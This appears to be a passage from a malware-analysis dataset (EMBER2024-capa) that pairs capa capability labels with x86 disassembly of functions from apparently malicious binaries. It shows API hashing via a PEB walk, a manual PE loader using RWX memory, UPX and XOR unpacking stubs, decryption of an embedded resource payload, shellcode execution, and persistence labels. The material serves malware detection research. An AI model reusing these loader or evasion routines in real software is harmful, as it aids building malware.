joyce8/EMBER2024-capa huggingface dataset:
Function at 0x393b50
Capabilities:
Encode data using xor

Disassembly:
sub esp, 8
mov dword [esp + 4], 0x18e
add dword [esp + 4], 0x8fd9
shl dword [esp + 4], 0xf
add dword [esp + 4], 0xa98
xor dword [esp + 4], 0x48b38a98
mov dword [esp], 0x9208
imul eax, dword [esp], 0x75
push ebx
mov ebx, ecx
mov dword [esp + 4], eax
shr dword [esp + 4], 0xb
or dword [esp + 4], 0x128383aa
imul eax, dword [esp + 4], 0x35
mov dword [esp + 4], eax
add dword [esp + 4], 0xffff3c94
imul eax, dword [esp + 4], 0x6f
mov dword [esp + 4], eax
xor dword [esp + 4], 0x74ad7137
mov dword [esp + 4], 0xeadf
shl dword [esp + 4], 9
shl dword [esp + 4], 0xd
imul eax, dword [esp + 4], 0x5d
mov dword [esp + 4], eax
add dword [esp + 4], 0xd479
imul eax, dword [esp + 4], 0x13
mov dword [esp + 4], eax
xor dword [esp + 4], 0x4e4fc4eb
cmp byte [ebx], 0
je 0x393cb0
push esi
push edi
jmp 0x393c00
mov edi, dword [esp + 0x10]
lea ebx, [ebx + 1]
mov dword [esp + 0xc], 0x9208
imul eax, dword [esp + 0xc], 0x75
mov dword [esp + 0xc], eax
shr dword [esp + 0xc], 0xb
or dword [esp + 0xc], 0x128383aa
imul eax, dword [esp + 0xc], 0x35
mov dword [esp + 0xc], eax
add dword [esp + 0xc], 0xffff3c94
imul eax, dword [esp + 0xc], 0x6f
mov dword [esp + 0xc], eax
xor dword [esp + 0xc], 0x74ad7137
movzx ecx, byte [esp + 0xc]
mov esi, dword [esp + 0x10]
mov dword [esp + 0xc], 0xeadf
shl dword [esp + 0xc], 9
shl dword [esp + 0xc], 0xd
imul eax, dword [esp + 0xc], 0x5d
shl esi, cl
mov dword [esp + 0xc], eax
add dword [esp + 0xc], 0xd479
imul eax, dword [esp + 0xc], 0x13
mov dword [esp + 0xc], eax
xor dword [esp + 0xc], 0x4e4fc4eb
movzx ecx, byte [esp + 0xc]
mov edx, dword [esp + 0x10]
movsx eax, byte [ebx - 1]
mov dword [esp + 0x10], eax
add dword [esp + 0x10], esi
shl edx, cl
add dword [esp + 0x10], edx
sub dword [esp + 0x10], edi
cmp byte [ebx], 0
jne 0x393c00
pop edi
pop esi
mov eax, dword [esp + 8]
pop ebx
add esp, 8
ret
Function at 0x393e30
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x10
push ebx
mov ebx, ecx
mov dword [esp + 4], edx
push ebp
push esi
push edi
mov eax, dword [ebx + 0x3c]
xor esi, esi
add eax, 0x78
add eax, ebx
mov dword [esp + 0x1c], eax
mov edi, dword [eax]
mov eax, dword [edi + ebx + 0x1c]
add edi, ebx
add eax, ebx
mov dword [esp + 0x18], eax
mov ebp, dword [edi + 0x20]
mov eax, dword [edi + 0x24]
add ebp, ebx
add eax, ebx
mov dword [esp + 0x14], eax
cmp dword [edi + 0x18], esi
jbe 0x393e8c
lea esp, [esp]
mov ecx, dword [ebp + esi*4]
add ecx, ebx
call fcn.00393b50
xor eax, 0x347fecab
cmp eax, dword [esp + 0x10]
je 0x393e96
inc esi
cmp esi, dword [edi + 0x18]
jb 0x393e70
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x10
ret
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x18]
movzx eax, word [eax + esi*2]
mov ecx, dword [ecx + eax*4]
add ecx, ebx
cmp ecx, edi
jb 0x393ec4
mov eax, dword [esp + 0x1c]
mov eax, dword [eax + 4]
add eax, edi
cmp ecx, eax
jae 0x393ec4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
jmp 0x394090
pop edi
pop esi
pop ebp
mov eax, ecx
pop ebx
add esp, 0x10
ret
sub esp, 0x104
lea edx, [esp]
push esi
mov esi, ecx
push edi
mov al, byte [esi]
test al, al
je 0x3940b6
cmp al, 0x2e
je 0x3940b3
inc esi
mov byte [edx], al
inc edx
mov al, byte [esi]
test al, al
jne 0x3940a3
jmp 0x3940b6
mov byte [edx], 0
mov eax, dword [0x39db14]
test eax, eax
jne 0x3940da
mov ecx, 0xa028f2a0
call fcn.00393ed0
mov edx, 0xc347539c
mov ecx, eax
call fcn.00393e30
mov dword [0x39db14], eax
lea ecx, [esp + 8]
push ecx
call eax
mov edi, eax
test edi, edi
jne 0x394121
mov eax, dword [0x39dcb4]
test eax, eax
jne 0x39410b
mov ecx, 0xa028f2a0
call fcn.00393ed0
mov edx, 0xeb545747
mov ecx, eax
call fcn.00393e30
mov dword [0x39dcb4], eax
lea ecx, [esp + 8]
push ecx
call eax
mov edi, eax
test edi, edi
jne 0x394121
pop edi
pop esi
add esp, 0x104
ret
lea ecx, [esi + 1]
call fcn.00393b50
xor eax, 0x347fecab
mov ecx, edi
mov edx, eax
call fcn.00393e30
pop edi
pop esi
add esp, 0x104
ret
Function at 0x393ed0
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
sub esp, 0x10
mov eax, dword fs:[0x30]
mov dword [esp + 0xc], ecx
push ebx
push ebp
mov ecx, dword [eax + 0xc]
add ecx, 0xc
push esi
push edi
mov dword [esp + 0x18], ecx
mov ebp, dword [ecx]
cmp ebp, ecx
je 0x394079
mov edx, dword [ebp + 0x30]
mov dword [esp + 0x14], 0x18e
add dword [esp + 0x14], 0x8fd9
shl dword [esp + 0x14], 0xf
add dword [esp + 0x14], 0xa98
xor dword [esp + 0x14], 0x48b38a98
mov dword [esp + 0x10], 0x9208
imul eax, dword [esp + 0x10], 0x75
mov dword [esp + 0x10], eax
shr dword [esp + 0x10], 0xb
or dword [esp + 0x10], 0x128383aa
imul eax, dword [esp + 0x10], 0x35
mov dword [esp + 0x10], eax
add dword [esp + 0x10], 0xffff3c94
imul eax, dword [esp + 0x10], 0x6f
mov dword [esp + 0x10], eax
xor dword [esp + 0x10], 0x74ad7137
mov dword [esp + 0x10], 0xeadf
shl dword [esp + 0x10], 9
shl dword [esp + 0x10], 0xd
imul eax, dword [esp + 0x10], 0x5d
mov dword [esp + 0x10], eax
add dword [esp + 0x10], 0xd479
imul eax, dword [esp + 0x10], 0x13
mov dword [esp + 0x10], eax
xor dword [esp + 0x10], 0x4e4fc4eb
cmp word [edx], 0
je 0x39405f
jmp 0x393fa0
mov ebx, dword [esp + 0x14]
mov dword [esp + 0x10], 0x9208
imul eax, dword [esp + 0x10], 0x75
mov dword [esp + 0x10], eax
shr dword [esp + 0x10], 0xb
or dword [esp + 0x10], 0x128383aa
imul eax, dword [esp + 0x10], 0x35
mov dword [esp + 0x10], eax
add dword [esp + 0x10], 0xffff3c94
imul eax, dword [esp + 0x10], 0x6f
mov dword [esp + 0x10], eax
xor dword [esp + 0x10], 0x74ad7137
movzx ecx, byte [esp + 0x10]
mov esi, dword [esp + 0x14]
mov dword [esp + 0x10], 0xeadf
shl dword [esp + 0x10], 9
shl dword [esp + 0x10], 0xd
imul eax, dword [esp + 0x10], 0x5d
shl esi, cl
mov dword [esp + 0x10], eax
add dword [esp + 0x10], 0xd479
imul eax, dword [esp + 0x10], 0x13
mov dword [esp + 0x10], eax
xor dword [esp + 0x10], 0x4e4fc4eb
movzx ecx, byte [esp + 0x10]
mov edi, dword [esp + 0x14]
movzx eax, word [edx]
shl edi, cl
cmp eax, 0x41
jb 0x39403e
cmp eax, 0x5a
ja 0x39403e
add eax, 0x20
mov dword [esp + 0x14], eax
add edx, 2
add dword [esp + 0x14], esi
add dword [esp + 0x14], edi
sub dword [esp + 0x14], ebx
cmp word [edx], 0
jne 0x393fa0
mov ecx, dword [esp + 0x18]
mov eax, dword [esp + 0x14]
xor eax, 0x2f5614d2
cmp eax, dword [esp + 0x1c]
je 0x394083
mov ebp, dword [ebp]
cmp ebp, ecx
jne 0x393ef5
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x10
ret
mov eax, dword [ebp + 0x18]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret
Function at 0x394350
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
sub esp, 0x14
push ebp
mov ebp, ecx
mov dword [esp + 0x10], ebp
push edi
cmp edx, 0x40
jb 0x3944ee
mov eax, 0x5a4d
cmp word [ebp], ax
jne 0x3944ee
mov edi, dword [ebp + 0x3c]
add edi, ebp
mov dword [esp + 0x18], edi
cmp dword [edi], 0x4550
jne 0x3944ee
mov eax, 0x10b
cmp word [edi + 0x18], ax
jne 0x3944ee
mov eax, dword [0x39db44]
test eax, eax
jne 0x3943bb
mov ecx, 0xa028f2a0
call fcn.00393ed0
mov edx, 0xdae4ae1
mov ecx, eax
call fcn.00393e30
mov dword [0x39db44], eax
push ebx
push 0x40
push 0x3000
push dword [edi + 0x50]
push 0
call eax
mov ebx, eax
test ebx, ebx
je 0x3944e5
movzx ecx, word [edi + 0x14]
push esi
lea esi, [edi + 0x18]
add esi, ecx
movzx ecx, word [edi + 6]
mov dword [esp + 0x18], esi
lea ecx, [ecx + ecx*4]
lea eax, [esi + ecx*8]
mov dword [esp + 0x14], eax
mov eax, dword [edi + 0x54]
mov dword [esp + 0x10], eax
mov eax, dword [0x39dc6c]
test eax, eax
jne 0x39441b
mov ecx, 0xfd7834c6
call fcn.00393ed0
mov edx, 0x9c233dc
mov ecx, eax
call fcn.00393e30
mov dword [0x39dc6c], eax
push dword [esp + 0x10]
push ebp
push ebx
call eax
mov ecx, dword [esp + 0x20]
add esp, 0xc
cmp esi, ecx
jae 0x39449e
sub ecx, dword [esp + 0x18]
mov eax, 0xcccccccd
dec ecx
add esi, 0x10
mul ecx
mov ecx, edx
shr ecx, 5
inc ecx
mov edi, ecx
mov ebp, dword [esi]
cmp dword [esi - 8], ebp
mov eax, dword [esi + 4]
cmovb ebp, dword [esi - 8]
add eax, dword [esp + 0x1c]
mov dword [esp + 0x18], eax
mov eax, dword [esi - 4]
add eax, ebx
mov dword [esp + 0x14], eax
mov eax, dword [0x39dc6c]
test eax, eax
jne 0x394486
mov ecx, 0xfd7834c6
call fcn.00393ed0
mov edx, 0x9c233dc
mov ecx, eax
call fcn.00393e30
mov dword [0x39dc6c], eax
push ebp
push dword [esp + 0x1c]
push dword [esp + 0x1c]
call eax
add esp, 0xc
add esi, 0x28
dec edi
jne 0x394445
mov edi, dword [esp + 0x20]
mov edx, edi
mov ecx, ebx
call fcn.00394620
mov edx, edi
mov ecx, ebx
call fcn.00394530
pop esi
test eax, eax
jne 0x3944e5
mov eax, dword [0x39dfc4]
test eax, eax
jne 0x3944d9
mov ecx, 0xa028f2a0
call fcn.00393ed0
mov edx, 0xce8d33fc
mov ecx, eax
call fcn.00393e30
mov dword [0x39dfc4], eax
push 0x8000
push 0
push ebx
call eax
xor ebx, ebx
mov eax, ebx
pop ebx
pop edi
pop ebp
add esp, 0x14
ret
pop edi
xor eax, eax
pop ebp
add esp, 0x14
ret
Function at 0x5f5d18
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2bc
push esi
mov esi, dword [ebp + 8]
test esi, esi
je 0x5f5d33
add esi, 0x1000
lea eax, [ebp - 0x2bc]
push edx
push 0x1c
push eax
push esi
call dword [edx + 0x124baf58]
pop edx
test eax, eax
je 0x5f5e05
cmp dword [ebp - 0x2ac], 0x1000
jne 0x5f5df4
test dword [ebp - 0x2a8], 1
jne 0x5f5df4
and dword [ebp - 0x2a8], 0x100
jne 0x5f5df4
push esi
push edx
push 4
push esi
call dword [edx + 0x122d2e62]
pop edx
pop esi
test eax, eax
je 0x5f5d97
jmp 0x5f5df4
cmp word [esi], 0x5a4d
jne 0x5f5df4
mov eax, esi
push ebx
mov ebx, dword [esi + 0x3c]
add eax, ebx
pop ebx
cmp dword [eax], 0x4550
jne 0x5f5df4
lea eax, [ebp - 0x28c]
push edx
push 0x28a
push eax
push esi
call dword [edx + 0x122d2db2]
pop edx
test eax, eax
je 0x5f5df4
lea eax, [ebp - 0x28c]
push eax
call fcn.005f5c74
test eax, eax
jne 0x5f5ded
jmp 0x5f5df4
mov eax, esi
jmp 0x5f5e05
mov esi, dword [ebp - 0x2b0]
add esi, dword [ebp - 0x2bc]
jmp 0x5f5d33
pop esi
leave
ret 4
Function at 0x50ed60
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x109000]
push edi
jmp 0x50ed7a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x50ed81
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x50ed70
mov eax, 1
add ebx, ebx
jne 0x50ed93
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x50ed88
jne 0x50eda4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x50ed88
xor ecx, ecx
sub eax, 3
jb 0x50edb8
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x50ee2a
mov ebp, eax
add ebx, ebx
jne 0x50edc3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x50edd0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x50edf4
inc ecx
add ebx, ebx
jne 0x50ede0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x50edd5
jne 0x50edf1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x50edd5
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x50ee14
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x50ee05
jmp 0x50ed76
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x50ee14
add edi, ecx
jmp 0x50ed76
pop esi
mov edi, esi
mov ecx, 0x6600
jmp 0x50ee65
mov al, byte [edi]
inc edi
cmp al, 0x80
jb 0x50ee45
cmp al, 0x8f
ja 0x50ee45
cmp byte [edi - 2], 0xf
je 0x50ee4b
sub al, 0xe8
cmp al, 1
ja 0x50ee6f
cmp ecx, 4
jb 0x50ee74
mov eax, dword [edi]
sub al, 1
jne 0x50ee6f
xchg ah, al
rol eax, 0x10
xchg ah, al
sub eax, edi
add eax, esi
sub ecx, 4
stosd dword es:[edi], eax
sub ecx, 1
jb 0x50ee74
mov al, byte [edi]
inc edi
jmp 0x50ee45
sub ecx, 1
jae 0x50ee34
lea edi, [esi + 0x10c000]
mov eax, dword [edi]
or eax, eax
je 0x50eec5
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x1cf228]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1cf2e0]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x50ee7a
mov ecx, edi
jns 0x50eea9
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1cf2e8]
or eax, eax
je 0x50eebf
mov dword [ebx], eax
add ebx, 4
jmp 0x50ee97
call dword [esi + 0x1cf2e4]
mov ebp, dword [esi + 0x1cf2ec]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1f7]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x50eef9
sub esp, 0xffffff80
jmp 0x4034a5
Function at 0x401029
Capabilities:
Hash data with md5

Disassembly:
mov eax, dword [esp + 4]
and dword [eax + 0x10], 0
and dword [eax + 0x14], 0
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
ret

Function at 0x401a4f
Capabilities:
Get storage device properties

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
push esi
xor esi, esi
push esi
push esi
push 3
push esi
push 7
push esi
push str..PhysicalDrive0
mov dword [ebp - 8], esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp - 0x10], eax
je 0x401b45
push ebx
push edi
xor eax, eax
lea edi, [ebp - 0x14]
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x18], esi
stosd dword es:[edi], eax
lea esi, [ebp - 0x41c]
mov dword [ebp - 4], 0x400
mov ebx, dword [ebp - 4]
xor edi, edi
lea eax, [ebp - 4]
push edi
push eax
push ebx
push esi
lea eax, [ebp - 0x1c]
push 0xc
push eax
push 0x2d1400
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
cmp eax, edi
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], edi
je 0x401af3
mov eax, dword [esi + 4]
mov dword [ebp - 0xc], esi
cmp eax, ebx
jbe 0x401ad4
mov dword [ebp - 4], eax
mov dword [ebp - 8], edi
jmp 0x401af3
mov eax, dword [esi + 0x18]
cmp eax, edi
je 0x401af3
lea edi, [eax + esi]
push edi
call fcn.00403030
push eax
push edi
push dword [ebp + 8]
call fcn.004018cc
add esp, 0x10
xor edi, edi
lea eax, [ebp - 0x41c]
cmp esi, eax
je 0x401b04
push esi
call fcn.00403016
pop ecx
cmp dword [ebp - 8], edi
jne 0x401b3a
cmp dword [ebp - 0xc], edi
jne 0x401b27
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x401b3a
cmp dword [ebp - 4], ebx
ja 0x401b27
or bx, 0xfff
inc ebx
mov dword [ebp - 4], ebx
push dword [ebp - 4]
call fcn.00403008
mov esi, eax
pop ecx
cmp esi, edi
jne 0x401a98
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop ebx
mov eax, dword [ebp - 8]
pop esi
leave
ret

Function at 0x401f27
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
xor esi, esi
push 0x10
lea eax, [ebp - 0x10]
push esi
push eax
call fcn.00402fb0
lea eax, [ebp - 0x10]
push eax
call fcn.00401a1d
add esp, 0x10
xor eax, eax
movzx ecx, byte [ebp + eax - 0x10]
lea esi, [ecx + esi*2]
xor esi, dword [ebp - 0x10]
inc eax
cmp eax, 0x10
jb 0x401f4a
mov eax, esi
pop esi
leave
ret
Function at 0x401f64
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
movzx eax, word [ebp + 8]
push ebx
push esi
push edi
push 0xa
push eax
push dword [0x40c0b0]
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
je 0x401f9f
call dword [sym.imp.KERNEL32.dll_GetLastError]
push edi
push dword [0x40c0b0]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov esi, eax
test esi, esi
ja 0x401fa6
xor eax, eax
jmp 0x402096
push edi
push dword [0x40c0b0]
call dword [sym.imp.KERNEL32.dll_LoadResource]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
push esi
push 0x40
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov edi, eax
push esi
push ebx
push edi
mov dword [ebp - 8], edi
call fcn.00402c70
sub esi, 0x20
push 0x20
mov dword [ebp - 0xc], esi
lea eax, [edi + esi]
push eax
lea eax, [ebp - 0x2c]
push eax
call fcn.00402c70
add esp, 0x18
xor eax, eax
xor ebx, ebx
movzx ecx, byte [ebp + eax - 0x2c]
add ebx, ecx
inc eax
cmp eax, 0x20
jb 0x401fee
call dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp ebx, eax
jne 0x402032
test ebx, ebx
je 0x402053
xor edx, edx
xor ecx, ecx
test esi, esi
jbe 0x402053
mov al, dl
and al, 0x23
xor al, byte [edx + edi]
or al, byte [ebp + ecx - 0x2c]
inc ecx
cmp ecx, 0x10
mov byte [edx + edi], al
jne 0x402027
xor ecx, ecx
inc edx
cmp edx, esi
jb 0x402011
test ecx, ecx
jne 0x402009
jmp 0x402053
xor edx, edx
xor ecx, ecx
test esi, esi
jbe 0x402053
mov al, byte [ebp + ecx - 0x2c]
xor al, byte [edx + edi]
xor al, dl
inc ecx
cmp ecx, 0x10
mov byte [edx + edi], al
jne 0x40204e
xor ecx, ecx
inc edx
cmp edx, esi
jb 0x40203a
mov edi, dword [edi]
mov dword [ebp + 8], edi
add edi, 0x100
push edi
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0xc]
sub eax, 4
push eax
mov eax, dword [ebp - 8]
add eax, 4
push eax
lea eax, [ebp + 8]
push eax
mov eax, dword [ebp - 4]
push eax
call fcn.00401c26
add esp, 0x10
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
mov dword [eax], ecx
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40212f
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
push 0x40909c
jmp 0x402ab7
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push dword [edi + 0x54]
cmova si, si
mov esi, eax
jmp 0x402a9e
mov dword [ebp - 0x18], esi
jmp 0x402c5a
lea esp, [esp + 4]
neg edi
sar bh, 0xbe
test eax, ecx
mov ebx, dword [ebp + 8]
shl edi, 0xb0
push 0x40
inc di
sub edi, esi
push 0x3000
shl edi, 0xde
btc edi, esp
mov edi, dword [ebx + 0x3c]
cmp di, 0x4d23
cmp ebx, esi
add edi, ebx
push dword [edi + 0x50]
push 0
jmp 0x402962
push ebx
jmp loc.0040daff

Function at 0x4024d3
Capabilities:
Copy file
Create directory
Create service
Persist via run registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
push ebx
push esi
push edi
push 0x40911c
jmp loc.0040d0f6

Function at 0x402626
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push ebx
push esi
push edi
push 0x409144
jmp loc.0040d799
Function at 0x40281d
Capabilities:
Accept command line arguments
Authenticate hmac
Check for time delay via gettickcount
Set registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x124
push ebx
push esi
push edi
push 0x4091bc
jmp 0x40291e
lea esp, [esp + 4]
mov ch, 0x77
shr esi, 0x3a
mov al, byte [0x409078]
cmp di, 0x2db
shl esi, 0x36
mov ecx, dword [0x409068]
xor al, byte [0x40907f]
ror dl, cl
cwd
mov edx, dword [0x40906c]
xor ebx, ebx
mov esi, 0x40c010
jmp loc.0040d326
Function at 0x433006
Capabilities:
Encode data using xor

Disassembly:
mov eax, section..text
nop
nop
mov ebx, 0x40de38
mov ecx, 0x13de421b
nop
nop
test eax, eax
nop
nop
nop
je 0x43304e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x433024
nop
nop
nop
mov eax, section..data
mov ebx, 0x4304d8
nop
mov ecx, 0xb530f4c
nop
nop
test eax, eax
nop
nop
nop
je 0x433084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
jne 0x43306c
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x4012b0
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x434
mov eax, dword [0x405004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push ecx
push 0x18
mov dword [ebp - 0x434], 0
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
je 0x401341
lea eax, [ebp - 0x430]
mov dword [ebp - 0x430], 0x428
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Module32FirstW]
test eax, eax
je 0x401341
mov edi, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
mov ebx, dword [sym.imp.KERNEL32.dll_Module32NextW]
nop dword [eax + eax]
lea eax, [ebp - 0x410]
push str.ProProctor.exe
push eax
call edi
add esp, 8
test eax, eax
je 0x401335
lea eax, [ebp - 0x430]
push eax
push esi
call ebx
test eax, eax
jne 0x401310
jmp 0x401341
mov eax, dword [ebp - 0x41c]
mov dword [ebp - 0x434], eax
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x434]
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.0040168f
mov esp, ebp
pop ebp
ret
Function at 0x401390
Capabilities:
Check if file exists
Create directory

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x404e40
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0x3d8
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x18], 0x10
mov dword [ebp - 4], 0
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x3e4]
push ecx
call fcn.00401770
add esp, 8
lea edx, [ebp - 0x3e4]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x14]
movsx ecx, byte [eax + 1]
cmp ecx, 0x3a
jne 0x40141b
mov edx, dword [ebp - 0x14]
add edx, 1
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x14]
add eax, 1
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
movsx edx, byte [ecx]
test edx, edx
je 0x40141b
mov eax, dword [ebp - 0x14]
movsx ecx, byte [eax]
cmp ecx, 0x5c
jne 0x40141b
mov edx, dword [ebp - 0x14]
add edx, 1
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x14]
movsx ecx, byte [eax]
test ecx, ecx
je 0x40148d
mov edx, dword [ebp - 0x14]
movsx eax, byte [edx]
cmp eax, 0x5c
jne 0x401482
mov ecx, dword [ebp - 0x14]
mov byte [ecx], 0
lea edx, [ebp - 0x3e4]
push edx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x40146d
push 0
lea eax, [ebp - 0x3e4]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x40146b
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x40146b
xor al, al
jmp 0x4014ad
jmp 0x40147c
mov ecx, dword [ebp - 0x18]
and ecx, 0x10
cmp ecx, 0x10
je 0x40147c
xor al, al
jmp 0x4014ad
mov edx, dword [ebp - 0x14]
mov byte [edx], 0x5c
mov eax, dword [ebp - 0x14]
add eax, 1
mov dword [ebp - 0x14], eax
jmp 0x40141b
jmp 0x4014a4
mov dword [ebp - 4], 0xffffffff
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4014c0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
push 1
push 1
call dword [sym.imp.KERNEL32.dll_SleepEx]
push 1
push 1
call dword [sym.imp.KERNEL32.dll_SleepEx]
mov eax, dword [str.AXXXXZ9]
mov dword [ebp - 0xc], eax
mov ecx, dword [str.AXXXXZ9]
mov dl, byte [ecx + 0xf]
mov byte [ebp - 4], dl
jmp 0x401553
call fcn.004014f3
mov dword [ebp - 8], 0x5f8
jmp 0x401513
mov eax, dword [ebp - 8]
sub eax, 1
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jle 0x40153a
mov ecx, dword [ebp - 0xc]
xor edx, edx
mov dl, byte [ecx]
mov eax, dword [ebp - 4]
and eax, 0xff
xor edx, eax
mov ecx, dword [ebp - 0xc]
mov byte [ecx], dl
mov edx, dword [ebp - 0xc]
add edx, 1
mov dword [ebp - 0xc], edx
jmp 0x40150a
push 0x5f8
mov eax, dword [str.AXXXXZ9]
push eax
mov ecx, dword [ebp + 8]
push ecx
call sub.MSVCRT.dll_memmove
add esp, 0xc
jmp 0x401555
jmp 0x4014fc
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x401560
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov al, cl
pop ebp
ret